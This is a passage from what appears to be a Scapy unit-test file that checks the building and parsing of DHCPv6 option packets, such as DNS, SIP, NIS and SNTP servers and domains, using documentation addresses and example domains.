DHCP6OptIA_TA(b'\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 4 and a.optlen == 0x1111 and a.iaid == 0x22222222 and len(a.iataopts) == 2 and isinstance(a.iataopts[0], DHCP6OptIAAddress) and isinstance(a.iataopts[1], DHCP6OptIAAddress) ##################################################################### + Test DHCP6 Option Request Option = DHCP6OptOptReq - Basic Instantiation bytes(DHCP6OptOptReq()) == b'\x00\x06\x00\x04\x00\x17\x00\x18' = DHCP6OptOptReq - optlen field computation bytes(DHCP6OptOptReq(reqopts=[1,2,3,4])) == b'\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04' = DHCP6OptOptReq - instantiation with empty list bytes(DHCP6OptOptReq(reqopts=[])) == b'\x00\x06\x00\x00' = DHCP6OptOptReq - Basic dissection a=DHCP6OptOptReq(b'\x00\x06\x00\x00') a.optcode == 6 and a.optlen == 0 and a.reqopts == [23,24] = DHCP6OptOptReq - Dissection with specific value a=DHCP6OptOptReq(b'\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04') a.optcode == 6 and a.optlen == 8 and a.reqopts == [1,2,3,4] ##################################################################### + Test DHCP6 Option - Preference option = DHCP6OptPref - Basic instantiation bytes(DHCP6OptPref()) == b'\x00\x07\x00\x01\xff' = DHCP6OptPref - Instantiation with specific values bytes(DHCP6OptPref(optlen=0xffff, prefval= 0x11)) == b'\x00\x07\xff\xff\x11' = DHCP6OptPref - Basic Dissection a=DHCP6OptPref(b'\x00\x07\x00\x01\xff') a.optcode == 7 and a.optlen == 1 and a.prefval == 255 = DHCP6OptPref - Dissection with specific values a=DHCP6OptPref(b'\x00\x07\xff\xff\x11') a.optcode == 7 and a.optlen == 0xffff and a.prefval == 0x11 ##################################################################### + Test DHCP6 Option - Elapsed Time = DHCP6OptElapsedTime - Basic Instantiation bytes(DHCP6OptElapsedTime()) == b'\x00\x08\x00\x02\x00\x00' = DHCP6OptElapsedTime - Instantiation with specific elapsedtime value bytes(DHCP6OptElapsedTime(elapsedtime=421)) == b'\x00\x08\x00\x02\x01\xa5' = DHCP6OptElapsedTime - Basic Dissection a=DHCP6OptElapsedTime(b'\x00\x08\x00\x02\x00\x00') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 0 = DHCP6OptElapsedTime - Dissection with specific values a=DHCP6OptElapsedTime(b'\x00\x08\x00\x02\x01\xa5') a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 421 ##################################################################### + Test DHCP6 Option - Server Unicast Address = DHCP6OptServerUnicast - Basic Instantiation bytes(DHCP6OptServerUnicast()) == b'\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = DHCP6OptServerUnicast - Instantiation with specific values (test 1) bytes(DHCP6OptServerUnicast(srvaddr="2001::1")) == b'\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Instantiation with specific values (test 2) bytes(DHCP6OptServerUnicast(srvaddr="2001::1", optlen=42)) == b'\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptServerUnicast - Dissection with default values a=DHCP6OptServerUnicast(b'\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "::" = DHCP6OptServerUnicast - Dissection with specific values (test 1) a=DHCP6OptServerUnicast(b'\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 16 and a.srvaddr == "2001::1" = DHCP6OptServerUnicast - Dissection with specific values (test 2) a=DHCP6OptServerUnicast(b'\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 12 and a.optlen == 42 and a.srvaddr == "2001::1" ##################################################################### + Test DHCP6 Option - Status Code = DHCP6OptStatusCode - Basic Instantiation bytes(DHCP6OptStatusCode()) == b'\x00\r\x00\x02\x00\x00' = DHCP6OptStatusCode - Instantiation with specific values bytes(DHCP6OptStatusCode(optlen=42, statuscode=0xff, statusmsg="Hello")) == b'\x00\r\x00*\x00\xffHello' = DHCP6OptStatusCode - Automatic Length computation bytes(DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")) == b'\x00\r\x00\x07\x00\xffHello' # Add tests to verify Unicode behavior ##################################################################### + Test DHCP6 Option - Rapid Commit = DHCP6OptRapidCommit - Basic Instantiation bytes(DHCP6OptRapidCommit()) == b'\x00\x0e\x00\x00' = DHCP6OptRapidCommit - Basic Dissection a=DHCP6OptRapidCommit(b'\x00\x0e\x00\x00') a.optcode == 14 and a.optlen == 0 ##################################################################### + Test DHCP6 Option - User class = DHCP6OptUserClass - Basic Instantiation bytes(DHCP6OptUserClass()) == b'\x00\x0f\x00\x00' = DHCP6OptUserClass - Basic Dissection a = DHCP6OptUserClass(b'\x00\x0f\x00\x00') a.optcode == 15 and a.optlen == 0 and a.userclassdata == [] = DHCP6OptUserClass - Instantiation with one user class data bytesucture bytes(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something")])) == b'\x00\x0f\x00\x0b\x00\tsomething' = DHCP6OptUserClass - Dissection with one user class data bytesucture a = DHCP6OptUserClass(b'\x00\x0f\x00\x0b\x00\tsomething') a.optcode == 15 and a.optlen == 11 and len(a.userclassdata) == 1 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something' = DHCP6OptUserClass - Instantiation with two user class data bytesuctures bytes(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something"), USER_CLASS_DATA(data="somethingelse")])) == b'\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse' = DHCP6OptUserClass - Dissection with two user class data bytesuctures a = DHCP6OptUserClass(b'\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse') a.optcode == 15 and a.optlen == 26 and len(a.userclassdata) == 2 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and isinstance(a.userclassdata[1], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something' and a.userclassdata[1].len == 13 and a.userclassdata[1].data == b'somethingelse' ##################################################################### + Test DHCP6 Option - Vendor class = DHCP6OptVendorClass - Basic Instantiation bytes(DHCP6OptVendorClass()) == b'\x00\x10\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorClass - Basic Dissection a = DHCP6OptVendorClass(b'\x00\x10\x00\x04\x00\x00\x00\x00') a.optcode == 16 and a.optlen == 4 and a.enterprisenum == 0 and a.vcdata == [] = DHCP6OptVendorClass - Instantiation with one vendor class data bytesucture bytes(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something")])) == b'\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething' = DHCP6OptVendorClass - Dissection with one vendor class data bytesucture a = DHCP6OptVendorClass(b'\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething') a.optcode == 16 and a.optlen == 15 and a.enterprisenum == 0 and len(a.vcdata) == 1 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something' = DHCP6OptVendorClass - Instantiation with two vendor class data bytesuctures bytes(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something"), VENDOR_CLASS_DATA(data="somethingelse")])) == b'\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse' = DHCP6OptVendorClass - Dissection with two vendor class data bytesuctures a = DHCP6OptVendorClass(b'\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse') a.optcode == 16 and a.optlen == 30 and a.enterprisenum == 0 and len(a.vcdata) == 2 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and isinstance(a.vcdata[1], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something' and a.vcdata[1].len == 13 and a.vcdata[1].data == b'somethingelse' ##################################################################### + Test DHCP6 Option - Vendor-specific information = DHCP6OptVendorSpecificInfo - Basic Instantiation bytes(DHCP6OptVendorSpecificInfo()) == b'\x00\x11\x00\x04\x00\x00\x00\x00' = DHCP6OptVendorSpecificInfo - Basic Dissection a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00\x04\x00\x00\x00\x00') a.optcode == 17 and a.optlen == 4 and a.enterprisenum == 0 = DHCP6OptVendorSpecificInfo - Instantiation with specific values (one option) bytes(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something")])) == b'\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (one option) a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething') a.optcode == 17 and a.optlen == 17 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 1 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something' = DHCP6OptVendorSpecificInfo - Instantiation with specific values (two options) bytes(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something"), VENDOR_SPECIFIC_OPTION(optcode=42, optdata="somethingelse")])) == b'\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse' = DHCP6OptVendorSpecificInfo - Dissection with with specific values (two options) a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse') a.optcode == 17 and a.optlen == 34 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 2 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and isinstance(a.vso[1], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something' and a.vso[1].optlen == 13 and a.vso[1].optdata == b'somethingelse' ##################################################################### + Test DHCP6 Option - Interface-Id = DHCP6OptIfaceId - Basic Instantiation bytes(DHCP6OptIfaceId()) == b'\x00\x12\x00\x00' = DHCP6OptIfaceId - Basic Dissection a = DHCP6OptIfaceId(b'\x00\x12\x00\x00') a.optcode == 18 and a.optlen == 0 = DHCP6OptIfaceId - Instantiation with specific value bytes(DHCP6OptIfaceId(ifaceid="something")) == b'\x00\x12\x00\x09something' = DHCP6OptIfaceId - Dissection with specific value a = DHCP6OptIfaceId(b'\x00\x12\x00\x09something') a.optcode == 18 and a.optlen == 9 and a.ifaceid == b"something" ##################################################################### + Test DHCP6 Option - Reconfigure Message = DHCP6OptReconfMsg - Basic Instantiation bytes(DHCP6OptReconfMsg()) == b'\x00\x13\x00\x01\x0b' = DHCP6OptReconfMsg - Basic Dissection a = DHCP6OptReconfMsg(b'\x00\x13\x00\x01\x0b') a.optcode == 19 and a.optlen == 1 and a.msgtype == 11 = DHCP6OptReconfMsg - Instantiation with specific values bytes(DHCP6OptReconfMsg(optlen=4, msgtype=5)) == b'\x00\x13\x00\x04\x05' = DHCP6OptReconfMsg - Dissection with specific values a = DHCP6OptReconfMsg(b'\x00\x13\x00\x04\x05') a.optcode == 19 and a.optlen == 4 and a.msgtype == 5 ##################################################################### + Test DHCP6 Option - Reconfigure Accept = DHCP6OptReconfAccept - Basic Instantiation bytes(DHCP6OptReconfAccept()) == b'\x00\x14\x00\x00' = DHCP6OptReconfAccept - Basic Dissection a = DHCP6OptReconfAccept(b'\x00\x14\x00\x00') a.optcode == 20 and a.optlen == 0 = DHCP6OptReconfAccept - Instantiation with specific values bytes(DHCP6OptReconfAccept(optlen=23)) == b'\x00\x14\x00\x17' = DHCP6OptReconfAccept - Dssection with specific values a = DHCP6OptReconfAccept(b'\x00\x14\x00\x17') a.optcode == 20 and a.optlen == 23 ##################################################################### + Test DHCP6 Option - SIP Servers Domain Name List = DHCP6OptSIPDomains - Basic Instantiation bytes(DHCP6OptSIPDomains()) == b'\x00\x15\x00\x00' = DHCP6OptSIPDomains - Basic Dissection a = DHCP6OptSIPDomains(b'\x00\x15\x00\x00') a.optcode == 21 and a.optlen == 0 and a.sipdomains == [] = DHCP6OptSIPDomains - Instantiation with one domain bytes(DHCP6OptSIPDomains(sipdomains=["toto.example.org"])) == b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with one domain a = DHCP6OptSIPDomains(b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00') a.optcode == 21 and a.optlen == 18 and len(a.sipdomains) == 1 and a.sipdomains[0] == b"toto.example.org" = DHCP6OptSIPDomains - Instantiation with two domains bytes(DHCP6OptSIPDomains(sipdomains=["toto.example.org", "titi.example.org"])) == b'\x00\x15\x00$\x04toto\x07example\x03org\x00\x04titi\x07example\x03org\x00' = DHCP6OptSIPDomains - Dissection with two domains a = DHCP6OptSIPDomains(b'\x00\x15\x00$\x04toto\x07example\x03org\x00\x04TITI\x07example\x03org\x00') a.optcode == 21 and a.optlen == 36 and len(a.sipdomains) == 2 and a.sipdomains[0] == b"toto.example.org" and a.sipdomains[1] == b"TITI.example.org" = DHCP6OptSIPDomains - Enforcing only one dot at end of domain bytes(DHCP6OptSIPDomains(sipdomains=["toto.example.org."])) == b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - SIP Servers IPv6 Address List = DHCP6OptSIPServers - Basic Instantiation bytes(DHCP6OptSIPServers()) == b'\x00\x16\x00\x00' = DHCP6OptSIPServers - Basic Dissection a = DHCP6OptSIPServers(b'\x00\x16\x00\x00') a.optcode == 22 and a. optlen == 0 and a.sipservers == [] = DHCP6OptSIPServers - Instantiation with specific values (1 address) bytes(DHCP6OptSIPServers(sipservers = ["2001:db8::1"] )) == b'\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSIPServers - Dissection with specific values (1 address) a = DHCP6OptSIPServers(b'\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 22 and a.optlen == 16 and len(a.sipservers) == 1 and a.sipservers[0] == "2001:db8::1" = DHCP6OptSIPServers - Instantiation with specific values (2 addresses) bytes(DHCP6OptSIPServers(sipservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSIPServers - Dissection with specific values (2 addresses) a = DHCP6OptSIPServers(b'\x00\x16\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 22 and a.optlen == 32 and len(a.sipservers) == 2 and a.sipservers[0] == "2001:db8::1" and a.sipservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - DNS Recursive Name Server = DHCP6OptDNSServers - Basic Instantiation bytes(DHCP6OptDNSServers()) == b'\x00\x17\x00\x00' = DHCP6OptDNSSe=rvers - Basic Dissection a = DHCP6OptDNSServers(b'\x00\x17\x00\x00') a.optcode == 23 and a. optlen == 0 and a.dnsservers == [] = DHCP6OptDNSServers - Instantiation with specific values (1 address) bytes(DHCP6OptDNSServers(dnsservers = ["2001:db8::1"] )) == b'\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptDNSServers - Dissection with specific values (1 address) a = DHCP6OptDNSServers(b'\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 23 and a.optlen == 16 and len(a.dnsservers) == 1 and a.dnsservers[0] == "2001:db8::1" = DHCP6OptDNSServers - Instantiation with specific values (2 addresses) bytes(DHCP6OptDNSServers(dnsservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptDNSServers - Dissection with specific values (2 addresses) a = DHCP6OptDNSServers(b'\x00\x17\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 23 and a.optlen == 32 and len(a.dnsservers) == 2 and a.dnsservers[0] == "2001:db8::1" and a.dnsservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - DNS Domain Search List Option = DHCP6OptDNSDomains - Basic Instantiation bytes(DHCP6OptDNSDomains()) == b'\x00\x18\x00\x00' = DHCP6OptDNSDomains - Basic Dissection a = DHCP6OptDNSDomains(b'\x00\x18\x00\x00') a.optcode == 24 and a.optlen == 0 and a.dnsdomains == [] = DHCP6OptDNSDomains - Instantiation with specific values (1 domain) bytes(DHCP6OptDNSDomains(dnsdomains=["toto.example.com"])) == b'\x00\x18\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (1 domain) a = DHCP6OptDNSDomains(b'\x00\x18\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 24 and a.optlen == 18 and len(a.dnsdomains) == 1 and a.dnsdomains[0] == b"toto.example.com" = DHCP6OptDNSDomains - Instantiation with specific values (2 domains) bytes(DHCP6OptDNSDomains(dnsdomains=["toto.example.com", "titi.example.com"])) == b'\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptDNSDomains - Dissection with specific values (2 domains) a = DHCP6OptDNSDomains(b'\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00') a.optcode == 24 and a.optlen == 36 and len(a.dnsdomains) == 2 and a.dnsdomains[0] == b"toto.example.com" and a.dnsdomains[1] == b"titi.example.com" ##################################################################### + Test DHCP6 Option - IA_PD Prefix Option = DHCP6OptIAPrefix - Basic Instantiation bytes(DHCP6OptIAPrefix()) == b'\x00\x1a\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #TODO : finish me ##################################################################### + Test DHCP6 Option - Identity Association for Prefix Delegation = DHCP6OptIA_PD - Basic Instantiation bytes(DHCP6OptIA_PD()) == b'\x00\x19\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #TODO : finish me ##################################################################### + Test DHCP6 Option - NIS Servers = DHCP6OptNISServers - Basic Instantiation bytes(DHCP6OptNISServers()) == b'\x00\x1b\x00\x00' = DHCP6OptNISServers - Basic Dissection a = DHCP6OptNISServers(b'\x00\x1b\x00\x00') a.optcode == 27 and a. optlen == 0 and a.nisservers == [] = DHCP6OptNISServers - Instantiation with specific values (1 address) bytes(DHCP6OptNISServers(nisservers = ["2001:db8::1"] )) == b'\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISServers - Dissection with specific values (1 address) a = DHCP6OptNISServers(b'\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 27 and a.optlen == 16 and len(a.nisservers) == 1 and a.nisservers[0] == "2001:db8::1" = DHCP6OptNISServers - Instantiation with specific values (2 addresses) bytes(DHCP6OptNISServers(nisservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISServers - Dissection with specific values (2 addresses) a = DHCP6OptNISServers(b'\x00\x1b\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 27 and a.optlen == 32 and len(a.nisservers) == 2 and a.nisservers[0] == "2001:db8::1" and a.nisservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - NIS+ Servers = DHCP6OptNISPServers - Basic Instantiation bytes(DHCP6OptNISPServers()) == b'\x00\x1c\x00\x00' = DHCP6OptNISPServers - Basic Dissection a = DHCP6OptNISPServers(b'\x00\x1c\x00\x00') a.optcode == 28 and a. optlen == 0 and a.nispservers == [] = DHCP6OptNISPServers - Instantiation with specific values (1 address) bytes(DHCP6OptNISPServers(nispservers = ["2001:db8::1"] )) == b'\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptNISPServers - Dissection with specific values (1 address) a = DHCP6OptNISPServers(b'\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 28 and a.optlen == 16 and len(a.nispservers) == 1 and a.nispservers[0] == "2001:db8::1" = DHCP6OptNISPServers - Instantiation with specific values (2 addresses) bytes(DHCP6OptNISPServers(nispservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptNISPServers - Dissection with specific values (2 addresses) a = DHCP6OptNISPServers(b'\x00\x1c\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 28 and a.optlen == 32 and len(a.nispservers) == 2 and a.nispservers[0] == "2001:db8::1" and a.nispservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - NIS Domain Name = DHCP6OptNISDomain - Basic Instantiation bytes(DHCP6OptNISDomain()) == b'\x00\x1d\x00\x00' = DHCP6OptNISDomain - Basic Dissection a = DHCP6OptNISDomain(b'\x00\x1d\x00\x00') a.optcode == 29 and a.optlen == 0 and a.nisdomain == b"" = DHCP6OptNISDomain - Instantiation with one domain name bytes(DHCP6OptNISDomain(nisdomain="toto.example.org")) == b'\x00\x1d\x00\x11\x04toto\x07example\x03org' = DHCP6OptNISDomain - Dissection with one domain name a = DHCP6OptNISDomain(b'\x00\x1d\x00\x11\x04toto\x07example\x03org\x00') a.optcode == 29 and a.optlen == 17 and a.nisdomain == b"toto.example.org" = DHCP6OptNISDomain - Instantiation with one domain with trailing dot bytes(DHCP6OptNISDomain(nisdomain="toto.example.org.")) == b'\x00\x1d\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - NIS+ Domain Name = DHCP6OptNISPDomain - Basic Instantiation bytes(DHCP6OptNISPDomain()) == b'\x00\x1e\x00\x00' = DHCP6OptNISPDomain - Basic Dissection a = DHCP6OptNISPDomain(b'\x00\x1e\x00\x00') a.optcode == 30 and a.optlen == 0 and a.nispdomain == b"" = DHCP6OptNISPDomain - Instantiation with one domain name bytes(DHCP6OptNISPDomain(nispdomain="toto.example.org")) == b'\x00\x1e\x00\x11\x04toto\x07example\x03org' = DHCP6OptNISPDomain - Dissection with one domain name a = DHCP6OptNISPDomain(b'\x00\x1e\x00\x11\x04toto\x07example\x03org\x00') a.optcode == 30 and a.optlen == 17 and a.nispdomain == b"toto.example.org" = DHCP6OptNISPDomain - Instantiation with one domain with trailing dot bytes(DHCP6OptNISPDomain(nispdomain="toto.example.org.")) == b'\x00\x1e\x00\x12\x04toto\x07example\x03org\x00' ##################################################################### + Test DHCP6 Option - SNTP Servers = DHCP6OptSNTPServers - Basic Instantiation bytes(DHCP6OptSNTPServers()) == b'\x00\x1f\x00\x00' = DHCP6OptSNTPServers - Basic Dissection a = DHCP6OptSNTPServers(b'\x00\x1f\x00\x00') a.optcode == 31 and a. optlen == 0 and a.sntpservers == [] = DHCP6OptSNTPServers - Instantiation with specific values (1 address) bytes(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1"] )) == b'\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptSNTPServers - Dissection with specific values (1 address) a = DHCP6OptSNTPServers(b'\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 31 and a.optlen == 16 and len(a.sntpservers) == 1 and a.sntpservers[0] == "2001:db8::1" = DHCP6OptSNTPServers - Instantiation with specific values (2 addresses) bytes(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptSNTPServers - Dissection with specific values (2 addresses) a = DHCP6OptSNTPServers(b'\x00\x1f\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 31 and a.optlen == 32 and len(a.sntpservers) == 2 and a.sntpservers[0] == "2001:db8::1" and a.sntpservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - Information Refresh Time = DHCP6OptInfoRefreshTime - Basic Instantiation bytes(DHCP6OptInfoRefreshTime()) == b'\x00 \x00\x04\x00\x01Q\x80' = DHCP6OptInfoRefreshTime - Basic Dissction a = DHCP6OptInfoRefreshTime(b'\x00 \x00\x04\x00\x01Q\x80') a.optcode == 32 and a.optlen == 4 and a.reftime == 86400 = DHCP6OptInfoRefreshTime - Instantiation with specific values bytes(DHCP6OptInfoRefreshTime(optlen=7, reftime=42)) == b'\x00 \x00\x07\x00\x00\x00*' ##################################################################### + Test DHCP6 Option - BCMCS Servers = DHCP6OptBCMCSServers - Basic Instantiation bytes(DHCP6OptBCMCSServers()) == b'\x00"\x00\x00' = DHCP6OptBCMCSServers - Basic Dissection a = DHCP6OptBCMCSServers(b'\x00"\x00\x00') a.optcode == 34 and a. optlen == 0 and a.bcmcsservers == [] = DHCP6OptBCMCSServers - Instantiation with specific values (1 address) bytes(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1"] )) == b'\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = DHCP6OptBCMCSServers - Dissection with specific values (1 address) a = DHCP6OptBCMCSServers(b'\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.optcode == 34 and a.optlen == 16 and len(a.bcmcsservers) == 1 and a.bcmcsservers[0] == "2001:db8::1" = DHCP6OptBCMCSServers - Instantiation with specific values (2 addresses) bytes(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02' = DHCP6OptBCMCSServers - Dissection with specific values (2 addresses) a = DHCP6OptBCMCSServers(b'\x00"\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02') a.optcode == 34 and a.optlen == 32 and len(a.bcmcsservers) == 2 and a.bcmcsservers[0] == "2001:db8::1" and a.bcmcsservers[1] == "2001:db8::2" ##################################################################### + Test DHCP6 Option - BCMCS Domains = DHCP6OptBCMCSDomains - Basic Instantiation bytes(DHCP6OptBCMCSDomains()) == b'\x00!\x00\x00' = DHCP6OptBCMCSDomains - Basic Dissection a = DHCP6OptBCMCSDomains(b'\x00!\x00\x00') a.optcode == 33 and a.optlen == 0 and a.bcmcsdomains == [] = DHCP6OptBCMCSDomains - Instantiation with specific values (1 domain) bytes(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com"])) == b'\x00!\x00\x12\x04toto\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (1 domain) a = DHCP6OptBCMCSDomains(b'\x00!\x00\x12\x04toto\x07example\x03com\x00') a.optcode == 33 and a.optlen == 18 and len(a.bcmcsdomains) == 1 and a.bcmcsdomains[0] == b"toto.example.com" = DHCP6OptBCMCSDomains - Instantiation with specific values (2 domains) bytes(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com", "titi.example.com"])) == b'\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00' = DHCP6OptBCMCSDomains - Dissection with specific values (2 domains) a = 